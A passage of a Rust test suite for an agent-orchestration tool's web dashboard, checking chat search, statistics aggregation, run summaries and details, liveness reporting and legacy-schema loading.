17842 #[tokio::test]
17843 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17844 let f = Fixture::start().await;
17845 write_talk(
17846 &f,
17847 "20260901-000001-aaaa",
17848 "open",
17849 &[
17850 (
17851 "operator",
17852 "\n Why does the Pangolin cache expire?\nsecond line",
17853 ),
17854 ("agent", "Because the TTL is thirty seconds."),
17855 ],
17856 );
17857 write_talk(
17858 &f,
17859 "20260901-000002-bbbb",
17860 "closed",
17861 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17862 );
17863 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17864
17865 let search = |q: &'static str| {
17866 let f = &f;
17867 async move {
17868 f.get(&format!("/api/search?scope=chats&q={q}"))
17869 .await
17870 .json()
17871 }
17872 };
17873
17874 let v = search("PANGOLIN").await;
17875 assert_eq!(v["scope"], "chats");
17876 assert_eq!(v["total"], 1, "{v}");
17877 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17878 assert_eq!(v["hits"][0]["field"], "title");
17879 assert_eq!(v["unreadable"], 1, "{v}");
17880 let marked: Vec<&str> = v["hits"][0]["snippet"]
17881 .as_array()
17882 .unwrap()
17883 .iter()
17884 .filter(|p| p["hit"] == true)
17885 .map(|p| p["text"].as_str().unwrap())
17886 .collect();
17887 assert_eq!(marked, ["Pangolin"]);
17888
17889 let v = search("zebra").await;
17891 assert_eq!(v["total"], 1, "{v}");
17892 assert_eq!(v["hits"][0]["field"], "agent");
17893 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17895 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17896 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17898 assert_eq!(search(q).await["total"], 0, "{q}");
17899 }
17900 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17902 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17904
17905 let v = f.get("/api/search?scope=nope&q=a").await;
17906 assert_eq!(v.status, 400);
17907 assert!(
17908 v.body.contains("scope must be runs, tasks or chats"),
17909 "{}",
17910 v.body
17911 );
17912 }
17913
17914 #[test]
17915 fn a_question_card_links_a_task_id_to_the_task_page() {
17916 let start = APP_JS
17917 .find("function updateAskCard(")
17918 .expect("updateAskCard exists");
17919 let body = &APP_JS[start..];
17920 let body = &body[..body.find("\n}\n").expect("function end")];
17921 assert!(body.contains("question.run_is_task"));
17922 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17923 assert!(body.contains("`#/runs/${question.run}`"));
17924 assert!(body.contains("\"task\" : \"run\""));
17925 }
17926
17927 #[test]
17928 fn plain_text_message_surfaces_go_through_linkify() {
17929 assert!(APP_JS.contains("function linkify("));
17930 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17931 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17932 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17933 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17934 assert!(!APP_JS.contains("innerHTML = text"));
17935 }
17936
17937 #[test]
17938 fn implementation_rate_views_keep_independent_samples() {
17939 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17940 let a = stats::AgentStats {
17941 competitive_entered: competitive_n,
17942 competitive_wins: usize::from(competitive_n > 0),
17943 solo_entered: solo_n,
17944 solo_adopted: 2 * usize::from(solo_n > 0),
17945 ..Default::default()
17946 };
17947 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17948 for (key, n, numerator) in [
17949 ("competitive_win_rate", competitive_n, a.competitive_wins),
17950 ("solo_adoption_rate", solo_n, a.solo_adopted),
17951 ] {
17952 if n == 0 {
17953 assert!(v[key].is_null());
17954 } else {
17955 assert_eq!(v[key]["denominator"], n);
17956 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17957 }
17958 }
17959 }
17960 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17961 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17962 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17963 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17964 }
17965
17966 #[test]
17967 fn stats_bars_share_one_id_keyed_plan() {
17968 let start = APP_JS
17969 .find("function statsBarRows(")
17970 .expect("statsBarRows exists");
17971 let body = &APP_JS[start..];
17972 let body = &body[..body.find("\n}\n").expect("function end")];
17973 assert!(body.contains("statsBarPlan(rows)"));
17974 assert!(body.contains("statsAgentTone(row.agent)"));
17975 assert!(!body.contains("candTone(i)"));
17976 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17977 for root in [
17978 "stats-agents-bars",
17979 "stats-solo-bars",
17980 "stats-reviewers-bars",
17981 ] {
17982 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17983 }
17984 }
17985
17986 #[test]
17987 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17988 let start = APP_JS
17989 .find("function renderStatsReviewerScatter(")
17990 .expect("renderStatsReviewerScatter exists");
17991 let body = &APP_JS[start..];
17992 let body = &body[..body.find("\n}\n").expect("function end")];
17993 assert!(body.contains("statsScatterPlan(reviewers)"));
17994 assert!(body.contains("statsAgentTone(d.agent)"));
17995 assert!(APP_JS.contains("function statsScatterPlan("));
17996 assert!(
17997 APP_JS.contains("d.submitted < STATS_LOW_N")
17998 || APP_JS.contains("r.submitted < STATS_LOW_N")
17999 );
18000 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18001 assert!(APP_CSS.contains(".precision-scatter"));
18002 }
18003
18004 #[test]
18005 fn advisor_reflection_is_drawn_as_stacked_segments() {
18006 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18007 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18008 let html = include_str!("../assets/ui/index.html");
18009 assert!(html.contains("Approximate"));
18010 for label in ["reflected strongly", "faint", "no proposal"] {
18011 assert!(html.contains(label));
18012 }
18013 let css = include_str!("../assets/ui/app.css");
18014 for c in ["refl-strong", "refl-faint", "refl-absent"] {
18015 assert!(css.contains(&format!(".{c} {{")));
18016 }
18017 }
18018
18019 #[test]
18020 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18021 assert!(APP_JS.contains("function statsDailyPlan("));
18022 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18023 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18024 }
18025
18026 #[test]
18027 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18028 let start = APP_JS
18029 .find("function scheduleSearch(")
18030 .expect("scheduleSearch exists");
18031 let body = &APP_JS[start..];
18032 let body = &body[..body.find("\n}\n").expect("function end")];
18033 assert!(body.contains("s.seq += 1"));
18034 }
18035
18036 #[tokio::test]
18041 async fn stats_runs_unreadable_matches_health() {
18042 let f = Fixture::start().await;
18043 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18044 let broken = f.runs().join("20260902-140502-bad");
18045 std::fs::create_dir_all(&broken).expect("run dir");
18046 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18047
18048 let stats = f.get("/api/stats").await;
18049 let health = f.get("/api/health").await;
18050
18051 assert_eq!(stats.status, 200);
18052 assert_eq!(stats.json()["totals"]["runs"], 1);
18053 assert_eq!(stats.json()["runs_unreadable"], 1);
18054 assert_eq!(
18055 stats.json()["runs_unreadable"],
18056 health.json()["runs_unreadable"],
18057 "the dashboard and /api/health must never disagree about how many \
18058 runs could not be read"
18059 );
18060 }
18061
18062 #[tokio::test]
18063 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18064 let f = Fixture::start().await;
18065 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18066 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18067 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18068
18069 let totals = &f.get("/api/stats").await.json()["totals"];
18070 assert_eq!(totals["runs"], 3);
18071 assert_eq!(totals["merged"], 1);
18072 assert_eq!(totals["stalled"], 1);
18073 assert_eq!(totals["in_progress"], 1);
18074 assert_eq!(totals["blocked"], 0);
18077 assert_eq!(totals["ready"], 0);
18078 }
18079
18080 #[tokio::test]
18081 async fn stats_advisors_report_proposals_and_reflection() {
18082 use crate::advise::{Advice, AdvisorRecord, Reflection};
18083 use crate::verdict::Proposal;
18084
18085 let f = Fixture::start().await;
18086 let mut state = RunState::new(
18087 PathBuf::from("/repo/magi"),
18088 "main".to_owned(),
18089 "0123456789abcdef".to_owned(),
18090 "task".to_owned(),
18091 Config::default(),
18092 );
18093 state.id = "20260902-140501-a".to_owned();
18094 state.status = RunStatus::Merged;
18095 state.advice = Some(Advice {
18096 records: vec![
18097 AdvisorRecord {
18098 seat: "advisor-1".to_owned(),
18099 agent: "alpha".to_owned(),
18100 proposal: Some(Proposal {
18101 approach: "do it".to_owned(),
18102 key_tradeoff: "speed over memory".to_owned(),
18103 risks: Vec::new(),
18104 touches: Vec::new(),
18105 why_not_naive: "breaks under load".to_owned(),
18106 }),
18107 error: None,
18108 duration_ms: 0,
18109 reflection: Reflection::Strong,
18110 },
18111 AdvisorRecord {
18112 seat: "advisor-2".to_owned(),
18113 agent: "alpha".to_owned(),
18114 proposal: None,
18115 error: Some("timed out".to_owned()),
18116 duration_ms: 0,
18117 reflection: Reflection::Absent,
18118 },
18119 ],
18120 synthesis: Some("blended brief".to_owned()),
18121 });
18122 let dir = f.runs().join(&state.id);
18123 std::fs::create_dir_all(&dir).expect("run dir");
18124 std::fs::write(
18125 dir.join("run.json"),
18126 serde_json::to_string_pretty(&state).expect("serialize run"),
18127 )
18128 .expect("write run.json");
18129
18130 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18132 let alpha = advisors
18133 .as_array()
18134 .expect("an array")
18135 .iter()
18136 .find(|a| a["agent"] == "alpha")
18137 .expect("alpha row");
18138 assert_eq!(alpha["seated"], 2);
18139 assert_eq!(alpha["proposed"], 1);
18140 assert_eq!(alpha["absent"], 1);
18141 assert_eq!(alpha["strong"], 1);
18142 assert_eq!(alpha["faint"], 0);
18143 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18144 }
18145
18146 #[tokio::test]
18147 async fn stats_hides_agents_outside_the_roster_unless_all() {
18148 use crate::run::Candidate;
18149 let repo = TempDir::new().expect("repo dir");
18150 std::fs::write(
18151 repo.path().join("magi.toml"),
18152 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18153 )
18154 .expect("magi.toml");
18155 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18156 let mut state = RunState::new(
18157 PathBuf::from("/repo/magi"),
18158 "main".to_owned(),
18159 "0123456789abcdef".to_owned(),
18160 "task".to_owned(),
18161 Config::default(),
18162 );
18163 state.id = "20260902-140501-a".to_owned();
18164 state.status = RunStatus::Merged;
18165 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18166 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18167 "index": 0, "label": label.to_string(), "agent": agent,
18168 "branch": "b", "worktree": "/w",
18169 }))
18170 .expect("candidate");
18171 c.label = label;
18172 state.candidates.push(c);
18173 }
18174 let dir = f.runs().join(&state.id);
18175 std::fs::create_dir_all(&dir).expect("run dir");
18176 std::fs::write(
18177 dir.join("run.json"),
18178 serde_json::to_string_pretty(&state).expect("serialize run"),
18179 )
18180 .expect("write run.json");
18181
18182 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18183 v["agents"]
18184 .as_array()
18185 .expect("array")
18186 .iter()
18187 .map(|a| a["agent"].as_str().unwrap().to_owned())
18188 .collect()
18189 };
18190 let hidden = f.get("/api/stats").await.json();
18191 assert_eq!(agents_of(&hidden), ["keep"]);
18192 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18193 assert_eq!(hidden["totals"]["runs"], 1);
18194
18195 let all = f.get("/api/stats?all=true").await.json();
18196 assert_eq!(agents_of(&all).len(), 2);
18197 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18198 let keep_agent = all["agents"]
18200 .as_array()
18201 .unwrap()
18202 .iter()
18203 .find(|a| a["agent"] == "keep")
18204 .unwrap();
18205 assert_eq!(keep_agent["competitive_entered"], 1);
18206 assert_eq!(keep_agent["competitive_wins"], 0);
18207 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18208 assert_eq!(keep_agent["solo_entered"], 0);
18209 assert_eq!(keep_agent["solo_adopted"], 0);
18210 assert!(keep_agent["solo_adoption_rate"].is_null());
18211 }
18212
18213 #[tokio::test]
18214 async fn stats_release_bumps_split_clean_from_attention() {
18215 use crate::run::ReleaseBump;
18216
18217 let f = Fixture::start().await;
18218
18219 let mut clean = RunState::new(
18220 PathBuf::from("/repo/magi"),
18221 "main".to_owned(),
18222 "0123456789abcdef".to_owned(),
18223 "task".to_owned(),
18224 Config::default(),
18225 );
18226 clean.id = "20260902-140501-a".to_owned();
18227 clean.status = RunStatus::Merged;
18228 clean.release_bump = Some(ReleaseBump {
18229 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18230 version: Some("1.0.0".to_owned()),
18231 automerge_enabled: true,
18232 merged_directly: false,
18233 local: false,
18234 release: None,
18235 problem: None,
18236 action_required: None,
18237 skipped: None,
18238 });
18239
18240 let mut blocked = RunState::new(
18241 PathBuf::from("/repo/magi"),
18242 "main".to_owned(),
18243 "0123456789abcdef".to_owned(),
18244 "task".to_owned(),
18245 Config::default(),
18246 );
18247 blocked.id = "20260902-140502-b".to_owned();
18248 blocked.status = RunStatus::Merged;
18249 blocked.release_bump = Some(ReleaseBump {
18250 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18251 version: Some("1.0.1".to_owned()),
18252 automerge_enabled: false,
18253 merged_directly: false,
18254 local: false,
18255 release: None,
18256 problem: Some("checks red".to_owned()),
18257 action_required: Some("look at the PR".to_owned()),
18258 skipped: None,
18259 });
18260
18261 for state in [&clean, &blocked] {
18262 let dir = f.runs().join(&state.id);
18263 std::fs::create_dir_all(&dir).expect("run dir");
18264 std::fs::write(
18265 dir.join("run.json"),
18266 serde_json::to_string_pretty(state).expect("serialize run"),
18267 )
18268 .expect("write run.json");
18269 }
18270
18271 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18272 assert_eq!(bumps["merged"], 2);
18273 assert_eq!(bumps["recorded"], 2);
18274 assert_eq!(bumps["pr_opened"], 2);
18275 assert_eq!(bumps["automerge_enabled"], 1);
18276 assert_eq!(bumps["needs_attention"], 1);
18277 assert_eq!(bumps["clean"], 1);
18278 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18279 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18280 }
18281
18282 #[tokio::test]
18283 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18284 let f = Fixture::start().await;
18285 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18286
18287 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18288 assert_eq!(bumps["merged"], 1);
18289 assert_eq!(bumps["recorded"], 0);
18290 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18293 assert_eq!(bumps["automerge_rate"], Value::Null);
18296 assert_eq!(bumps["attention_rate"], Value::Null);
18297 }
18298
18299 #[tokio::test]
18300 async fn stats_queue_counts_come_from_the_live_queue() {
18301 let f = Fixture::start().await;
18302 let q = f.queue();
18303 let mut queued = Task::new(
18304 "queued task".to_owned(),
18305 "do it".to_owned(),
18306 PathBuf::from("/repo"),
18307 Source::Human,
18308 );
18309 q.put(&mut queued).expect("put queued");
18310 let mut held = Task::new(
18311 "held task".to_owned(),
18312 "do it later".to_owned(),
18313 PathBuf::from("/repo"),
18314 Source::Human,
18315 );
18316 held.hold_machine(Some("out of attempts".to_owned()));
18317 q.put(&mut held).expect("put held");
18318
18319 let queue = f.get("/api/stats").await.json()["queue"].clone();
18320 assert_eq!(queue["queued"], 1);
18321 assert_eq!(queue["held"], 1);
18322 assert_eq!(queue["running"], 0);
18323 assert_eq!(queue["done"], 0);
18324 assert_eq!(queue["failed"], 0);
18325 assert_eq!(queue["blocked"], 0);
18326 }
18327
18328 #[tokio::test]
18329 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18330 let f = Fixture::start().await;
18331 let stats = f.get("/api/stats").await;
18332 assert_eq!(stats.status, 200);
18333 assert_eq!(stats.json()["totals"]["runs"], 0);
18334 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18335 assert_eq!(stats.json()["runs_unreadable"], 0);
18336 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18337 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18338 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18339 assert_eq!(stats.json()["repo"], Value::Null);
18340 }
18341
18342 #[tokio::test]
18343 async fn stats_lists_every_repository_with_runs_recorded() {
18344 let f = Fixture::start().await;
18345 write_run_repo(
18346 &f.runs(),
18347 "20260902-140501-a",
18348 RunStatus::Merged,
18349 "/repos/a",
18350 );
18351 write_run_repo(
18352 &f.runs(),
18353 "20260902-140502-b",
18354 RunStatus::Merged,
18355 "/repos/a",
18356 );
18357 write_run_repo(
18358 &f.runs(),
18359 "20260902-140503-c",
18360 RunStatus::Blocked,
18361 "/repos/b",
18362 );
18363
18364 let stats = f.get("/api/stats").await;
18365 assert_eq!(stats.status, 200);
18366 assert_eq!(stats.json()["totals"]["runs"], 3);
18368 assert_eq!(stats.json()["repo"], Value::Null);
18369
18370 let repos = stats.json()["repos"].clone();
18371 let repos = repos.as_array().unwrap();
18372 assert_eq!(repos.len(), 2);
18373 assert_eq!(repos[0]["repo"], "/repos/a");
18375 assert_eq!(repos[0]["name"], "a");
18376 assert_eq!(repos[0]["runs"], 2);
18377 assert_eq!(repos[1]["repo"], "/repos/b");
18378 assert_eq!(repos[1]["runs"], 1);
18379 }
18380
18381 #[tokio::test]
18382 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18383 let f = Fixture::start().await;
18384 write_run_repo(
18385 &f.runs(),
18386 "20260902-140501-a",
18387 RunStatus::Merged,
18388 "/repos/a",
18389 );
18390 write_run_repo(
18391 &f.runs(),
18392 "20260902-140502-b",
18393 RunStatus::Blocked,
18394 "/repos/b",
18395 );
18396
18397 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18398 assert_eq!(stats.status, 200);
18399 assert_eq!(stats.json()["totals"]["runs"], 1);
18400 assert_eq!(stats.json()["totals"]["merged"], 1);
18401 assert_eq!(stats.json()["repo"], "/repos/a");
18402 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18405 assert_eq!(stats.json()["runs_unreadable"], 0);
18408 }
18409
18410 #[tokio::test]
18411 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18412 let f = Fixture::start().await;
18413 write_run_repo(
18414 &f.runs(),
18415 "20260902-140501-a",
18416 RunStatus::Merged,
18417 "/repos/a",
18418 );
18419 write_run_repo(
18420 &f.runs(),
18421 "20260902-140502-b",
18422 RunStatus::Merged,
18423 "/repos/b",
18424 );
18425
18426 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18427 let json = f.get(uri).await.json();
18428 let daily = json["daily"].as_array().expect("daily is an array");
18429 assert_eq!(daily.len(), 30);
18430 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18431 let mut sorted = dates.clone();
18432 sorted.sort();
18433 assert_eq!(dates, sorted);
18434 for d in daily {
18435 assert_eq!(
18436 d["merged"].as_u64().unwrap()
18437 + d["ready"].as_u64().unwrap()
18438 + d["other"].as_u64().unwrap(),
18439 d["runs"].as_u64().unwrap()
18440 );
18441 }
18442 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18443 }
18444 }
18445
18446 #[tokio::test]
18447 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18448 let f = Fixture::start().await;
18449 write_run_repo(
18450 &f.runs(),
18451 "20260902-140501-a",
18452 RunStatus::Merged,
18453 "/repos/a",
18454 );
18455
18456 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18457 assert_eq!(stats.status, 404);
18458 }
18459
18460 #[tokio::test]
18461 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18462 let f = Fixture::start().await;
18463 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18464
18465 let summary = f.get("/api/runs").await.json();
18466 let row = &summary[0];
18467 assert_eq!(row["short"], "a1b2");
18468 assert_eq!(row["status"], "ready");
18469 assert_eq!(row["done"], true);
18470 assert_eq!(row["title"], "Add a web UI");
18471 assert_eq!(row["repo_name"], "magi");
18472 assert_eq!(row["judges"], 3);
18473 assert_eq!(row["winner"], Value::Null);
18474 assert_eq!(row["reviews"], 0);
18475
18476 let detail = f.get("/api/runs/a1b2").await;
18479 assert_eq!(detail.status, 200);
18480 assert_eq!(detail.json()["base_branch"], "main");
18481 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18482 }
18483
18484 #[tokio::test]
18492 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18493 let f = Fixture::start().await;
18494
18495 let mut none_run = RunState::new(
18496 PathBuf::from("/repo/magi"),
18497 "main".to_owned(),
18498 "0123456789abcdef".to_owned(),
18499 "Add a web UI".to_owned(),
18500 Config::default(),
18501 );
18502 none_run.id = "20260902-140503-none".to_owned();
18503 none_run.status = RunStatus::Ready;
18504 none_run.merge = Some(crate::run::MergeOutcome {
18505 mode: crate::config::MergeMode::None,
18506 ok: true,
18507 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18508 empty: false,
18509 });
18510 write_state(&f.runs(), &none_run);
18511
18512 let mut pr_run = RunState::new(
18513 PathBuf::from("/repo/magi"),
18514 "main".to_owned(),
18515 "0123456789abcdef".to_owned(),
18516 "Add a web UI".to_owned(),
18517 Config::default(),
18518 );
18519 pr_run.id = "20260902-140504-prcl".to_owned();
18520 pr_run.status = RunStatus::Ready;
18521 pr_run.merge = Some(crate::run::MergeOutcome {
18522 mode: crate::config::MergeMode::Pr,
18523 ok: false,
18524 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18525 empty: false,
18526 });
18527 write_state(&f.runs(), &pr_run);
18528
18529 let summary = f.get("/api/runs").await.json();
18530 let rows: std::collections::HashMap<&str, &Value> = summary
18531 .as_array()
18532 .expect("an array")
18533 .iter()
18534 .map(|r| (r["id"].as_str().expect("an id"), r))
18535 .collect();
18536 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18537 assert_eq!(
18538 rows[none_run.id.as_str()]["unmerged_by_design"],
18539 true,
18540 "a mode-none Ready must be flagged in the list"
18541 );
18542 assert_eq!(
18543 rows[pr_run.id.as_str()]["unmerged_by_design"],
18544 false,
18545 "a Ready reached by a closed pull request is a different case"
18546 );
18547
18548 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18549 assert_eq!(none_detail["status"], "ready");
18550 assert_eq!(none_detail["unmerged_by_design"], true);
18551
18552 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18553 assert_eq!(pr_detail["unmerged_by_design"], false);
18554 }
18555
18556 #[tokio::test]
18561 async fn run_core_survives_unavailable_related_stores() {
18562 let home = TempDir::new().unwrap();
18563 let ui = delta_test_ui(home.path());
18564 let state = RunState::new(
18565 PathBuf::from("/repo/magi"),
18566 "main".into(),
18567 "0123456789abcdef".into(),
18568 "Useful core instructions".into(),
18569 Config::default(),
18570 );
18571 let dir = ui.runs.join(&state.id);
18572 std::fs::create_dir_all(&dir).unwrap();
18573 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18574 std::fs::write(ui.questions.root(), "unavailable").unwrap();
18575 std::fs::write(ui.queue.root(), "unavailable").unwrap();
18576 let core = run_core(State(ui.clone()), Path(state.id.clone()))
18577 .await
18578 .unwrap()
18579 .0;
18580 assert_eq!(core.state.instruction, state.instruction);
18581 assert_eq!(core.state.updated_at, state.updated_at);
18582 assert!(core.task.is_none());
18583 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18584 }
18585
18586 #[tokio::test]
18587 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18588 let f = Fixture::start().await;
18589 let id = "20260902-140502-bbbb";
18593 let mut state = RunState::new(
18594 PathBuf::from("/repo/magi"),
18595 "main".to_owned(),
18596 "0123456789abcdef".to_owned(),
18597 "Add a web UI".to_owned(),
18598 Config::default(),
18599 );
18600 state.id = id.to_owned();
18601 state.status = RunStatus::Judging;
18602 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18603 let dir = f.runs().join(id);
18604 std::fs::create_dir_all(&dir).expect("run dir");
18605 std::fs::write(
18606 dir.join("run.json"),
18607 serde_json::to_string_pretty(&state).expect("serialize run"),
18608 )
18609 .expect("write run.json");
18610
18611 let cold = f.get(&format!("/api/runs/{id}")).await.json();
18617 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18618 assert_eq!(cold["live"], "unknown", "{cold}");
18619
18620 write_daemon(f.home.path(), Timestamp::now());
18623 let warm = f.get(&format!("/api/runs/{id}")).await.json();
18624 assert_eq!(warm["live"], "live", "{warm}");
18625 }
18626
18627 #[test]
18628 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18629 let home = tempfile::tempdir().expect("temp home");
18630 let runs = home.path().join("runs");
18631 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18632 let mut state = RunState::new(
18633 PathBuf::from("/repo/magi"),
18634 "main".to_owned(),
18635 "0123456789abcdef".to_owned(),
18636 "Generated review context, not authored task criteria".to_owned(),
18637 Config::default(),
18638 );
18639 state.origin = origin;
18640 state.status = RunStatus::Blocked;
18641 state.driver_exited = false;
18643 state.gate_ran = true;
18644 let expected = serde_json::to_value(&state).expect("serialize current state");
18645 let mut legacy = expected.clone();
18646 legacy["schema"] = serde_json::json!(13);
18647 legacy.as_object_mut().unwrap().remove("task_instruction");
18648 let dir = runs.join(&state.id);
18649 std::fs::create_dir_all(&dir).expect("run dir");
18650 let path = dir.join("run.json");
18651 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18652 std::fs::write(&path, &body).expect("write legacy run");
18653
18654 for loaded in [
18655 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18656 read_run(&runs, &state.id).expect("web migration"),
18657 ] {
18658 assert_eq!(loaded.schema, crate::run::SCHEMA);
18659 assert!(loaded.task_instruction.is_none());
18660 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18661 }
18662 assert_eq!(runs_unreadable(&runs), 0);
18663 assert_eq!(std::fs::read(&path).unwrap(), body);
18664 }
18665 }
18666
18667 #[tokio::test]
18670 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18671 let f = Fixture::start().await;
18672 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18673 let mut state = RunState::new(
18674 PathBuf::from("/repo/magi"),
18675 "main".to_owned(),
18676 "0123456789abcdef".to_owned(),
18677 "Add a web UI".to_owned(),
18678 Config::default(),
18679 );
18680 state.id = id.to_owned();
18681 state.origin = origin;
18682 let mut value = serde_json::to_value(&state).expect("serialize run");
18683 if let Some(schema) = schema {
18684 value["schema"] = serde_json::json!(schema);
18685 value.as_object_mut().unwrap().remove("origin");
18686 }
18687 let dir = f.runs().join(id);
18688 std::fs::create_dir_all(&dir).expect("run dir");
18689 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18690 };
18691 write(
18692 "20260930-092817-ec34",
18693 Some(crate::run::Origin::from_agent_env(
18694 Some(("4a7b".to_owned(), "chat".to_owned())),
18695 None,
18696 )),
18697 None,
18698 );
18699 write("20260930-092817-0ld1", None, Some(12));
18700
18701 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18702 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18703 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18704
18705 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18706 assert_eq!(
18707 old["origin_label"], "origin unknown (started before origins were recorded)",
18708 "{old}"
18709 );
18710 assert!(old["origin"].is_null(), "{old}");
18711
18712 let list = f.get("/api/runs").await.json();
18713 let labels: Vec<_> = list
18714 .as_array()
18715 .unwrap()
18716 .iter()
18717 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18718 .collect();
18719 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18720 }
18721
18722 #[tokio::test]
18729 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18730 let f = Fixture::start().await;
18731 let id = "20260922-090000-cccc";
18732 let mut state = RunState::new(
18733 PathBuf::from("/repo/magi"),
18734 "main".to_owned(),
18735 "0123456789abcdef".to_owned(),
18736 "Review only".to_owned(),
18737 Config::default(),
18738 );
18739 state.id = id.to_owned();
18740 state.status = RunStatus::Reviewing;
18741 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18742 state.driver_pid = Some(std::process::id());
18748 state.driver_started_at = Some(
18749 crate::proc::process_started_at(std::process::id())
18750 .expect("this test process's own start time must be queryable"),
18751 );
18752 let dir = f.runs().join(id);
18753 std::fs::create_dir_all(&dir).expect("run dir");
18754 std::fs::write(
18755 dir.join("run.json"),
18756 serde_json::to_string_pretty(&state).expect("serialize run"),
18757 )
18758 .expect("write run.json");
18759
18760 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18761 assert_eq!(detail["live"], "live", "{detail}");
18762 }
18763
18764 #[tokio::test]
